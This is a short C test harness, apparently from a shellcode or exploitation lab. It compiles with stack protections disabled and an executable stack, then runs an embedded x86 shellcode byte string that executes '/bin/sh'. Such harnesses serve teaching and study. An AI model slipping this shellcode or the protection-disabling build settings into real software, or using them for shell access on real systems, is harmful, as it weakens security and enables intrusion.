text: /*
   * gcc -o execute_shell_code execute_shell_code.c -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -Wl,-z,execstack
   */
  
  char shellcode[] = 
  "\xbe\x6f\x88\x04\x08\xc6\x46\x07\x00\x89\x76\x08\xc7\x46\x0c\x00\x00\x00\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\xba\x00\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\x2f\x62\x69\x6e\x2f\x73\x68";
  
  void main()
  {
  	void(*func)() = (void(*)())shellcode;
  	func();
  }
  